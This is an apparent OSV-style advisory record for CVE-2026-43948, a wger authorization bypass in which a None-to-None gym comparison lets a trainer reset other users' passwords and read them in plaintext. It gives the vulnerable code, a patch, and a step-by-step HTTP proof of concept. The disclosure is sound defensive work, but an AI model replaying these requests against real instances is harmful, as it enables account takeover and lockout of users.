{"id":"CVE-2026-43948","aliases":["GHSA-mhc8-p3jx-84mm","PYSEC-2026-574"],"url":"https://o3.security/vulnerability/CVE-2026-43948","summary":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","details":"### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\nuser.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/user/<user_pk>/reset-user-password` -> `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/<user_pk>/edit` -> `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n\n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-> 200 OK\n<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>\n```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]\n\n-> 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n- Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -> alice gym=None) -> **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.","published":"2026-05-12T20:47:23.906Z","modified":"2026-08-12T03:51:46.770753735Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00371,"percentile":0.30065,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"wger","fixedVersion":"2.6"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43948.json"},{"type":"ADVISORY","url":"https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43948"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:46.770753735Z"}}